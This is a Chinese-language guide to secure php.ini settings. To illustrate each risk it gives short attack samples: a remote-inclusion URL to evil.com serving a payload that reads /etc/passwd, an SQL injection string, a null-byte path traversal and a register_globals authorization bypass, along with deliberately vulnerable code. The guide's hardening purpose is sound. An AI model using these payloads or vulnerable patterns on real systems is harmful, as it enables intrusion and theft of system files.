PHP作为一门强大的脚本语言被越来越多的web应用程序采用，不规范的php安全配置可能会带来敏感信息泄漏、SQL注射、远程包含等问题，规范的安全配置可保障最基本的安全环境。下面我们分析几个会引发安全问题的PHP配置，并给出建议的选项。

1、 register_globals = Off

PHP在进程启动时，会根据register_globals的设置，判断是否将$_GET、$_POST、$_COOKIE、$_ENV、$_SERVER、$REQUEST等数组变量里的内容自动注册为全局变量。

我们举个例子来说明register_globals = On时，会引发的安全问题：

<?php  
if (authenticated_user()) 
  $authorized = true; 
?>

//  由于authorized 未被初始化，故而可能通过register_globals被定义

//  如 GET example.php?authorized=1
<?php if (!$authorized):

   // 一些重要的操作，比如SetCookies

   include(“SetCookies.php”);

?>

对于上述代码，由于PHP会自动的为每个提交的值创建一个变量，这样只要在请求中提交http://example.com/example.php?authorized=1,即可获得授权操作，为了避免出现这样的问题，建议将register_globals配置为Off。

2、 allow_url_include =Off  

PHP通过此选项控制是否允许通过include/require来执行一个远程文件(如http://evil.com/evil.php或ftp://evil.com/evil.php)。

代码示例如下：

// http://HostA/test.php如下：

<?php

$strParam = $_GET[‘param‘];

if (!include_once($strParam.’.php’)){

   echo “error”;

}

?>

// http://evil.com/evil.php示例如下：

<?php 
   echo "<?php system(‘cat/etc/passwd‘); ?>"

?>  

假如用户访问如下的URL，访问页面中的$strParam将被设置为一个远程的URL：http://evil.com/evil.php。如果此配置被设置为on，那么test.php会通过include_once执行远程服务器上的PHP文件（http://evil.com/evil.php），后果不言而喻。

   http://HostA/test.php?param=http://evil.com/evil

所以建议此选项强制配置为Off。

当然要彻底解决上述代码的安全漏洞，除了规范PHP配置，还需要规范PHP编码。

3、 magic_quotes_gpc = on  

举一个典型的SQL注入示例，假如SQL语句用如下方式拼接：

select * from user where pass=’ “. $_GET[‘passwd’]. ”‘ and user=‘” . $_GET[‘username’] .”‘;

假如用户提交一个login.php?passwd=p&username=’ or ‘1’=’1请求，代码中的SQL语句将变成：

这就造成一个SQL注入漏洞。避免此问题出现的正确思路是开发者在拼接SQL语句之前过滤所有接收的数值，并严格执行这种编码规范，但是并不是所有的开发者都会意识到这种问题的存在，而此时，如果将php.ini的magic_quotes_gpc设置为On时，PHP将对所有GPC参数($_GET,$_POST,$_COOKIE)进行addslashes处理[既转义单引号、双引号、反斜线和nullbyte]，该SQL语句将是：

由于’已经被转义，SQL语句不能被成功执行，从而防止SQL注射。

另外，以小节2中的http://HostA/test.php为例，当magic_quotes_gpc= Off的情况下，用户提交一个example.php?param=../../../etc/passwd%00请求，由于代码中限制的文件后缀（.php）将被%00截断，就会通过require_once尝试读取/etc/passwd文件。

值得注意的是，magic_quotes_gpc配置为On时，有以下缺点：

1、     php此时会对所有GPC参数做addslashes处理，会有比较大的性能损耗。

2、     当GPC参数被用于其他操作如逻辑关系判断之前就必须先做strislashes处理，否则结果必然是不正确的。

考虑到开启此选项带来的性能损耗和代码的复杂化，可以在使用时灵活设置，对于一些不规范或者无人维护的代码，可以开启此选项；更好的做法是将此值设置为Off，由开发者严格过滤来自用户的输入。

4、 expose_php = Off  

我们经常会在一个http头里发现这样的信息：

X-Powered-By:PHP/5.2.11

PHP的版本号暴露无疑，攻击者很容易捕获到此信息，要想解决此问题我们只要如下配置

;;;;;;;;;;;;;;;;;

; Miscellaneous ;

;;;;;;;;;;;;;;;;;

; Decides whether PHP may expose the fact thatit is installed on the server

; (e.g. by adding its signature to the Webserver header).  It is no security

; threat in any way, but it makes it possibleto determine whether you use PHP

; on your server or not.

; http://php.net/expose-php

expose_php = On

该配置项默认为On，需要修改为Off。

5、 display_errors = Off

此控制项控制PHP是否将error、notice、warning日志打印出来，以及打印的位置。错误信息主要用于辅助开发，但是在线上环境却非常危险，因为这样将会把服务端的WebServer、数据库、PHP代码部署路径，甚至是数据库连接、数据表等关键信息暴露出去，为攻击者带来极大便利。所以建议产品上线时修改为Off。

6、 error_reporting = E_ALL& ~E_NOTICE

此配置项控制PHP打印哪些错误日志（errors，warnings，notices）。默认情况下会打印所有的错误日志，线上环境我们应该不显示具体的E_NOTICE日志信息。

导致E_NOTICE错误的最普遍场景是——使用未经初始化的变量，以下述代码为例：

       // 假如用户请求中无username 参数，则会打印notice错误

<?php

       // 假如用户请求中无username 参数，则会打印notice错误

       $username = $_GET[‘username’];

       // 引用一个未初始化的变量var2

       //  则会打印notice错误

       $var1   = $var2;

?>

如果用户访问的url中没有指定username参数，则代码中$_GET[‘username’]就是一个未经初始化的变量，直接访问就会抛出一个NOTICE错误。上述代码执行会报如下错误,这样即泄漏了代码目录。

PHP Notice: Undefined index: username in /somepath/test.php on line 3

PHP Notice: Undefined variable: var2 in /somepath/test.php on line 6

攻击者会利用这些信息，猜测代码逻辑，使得攻击变得更方便。

7、 display_startup_errors =Off  

php启动时产生的错误由此选项进行控制，这个和display_errors是分开的。为了避免PHP进城启动时产生的错误被打印到页面上而造成信息泄漏，此选项在线上服务也应该被配置为Off。

为了方便开发和调试，开发环境可以将其设置为On。

由此我们可以看出，正确的PHP基础安全配置可有效避免很多高危漏洞，避免泄漏服务器敏感信息，从而提升产品的安全性。

php.ini配置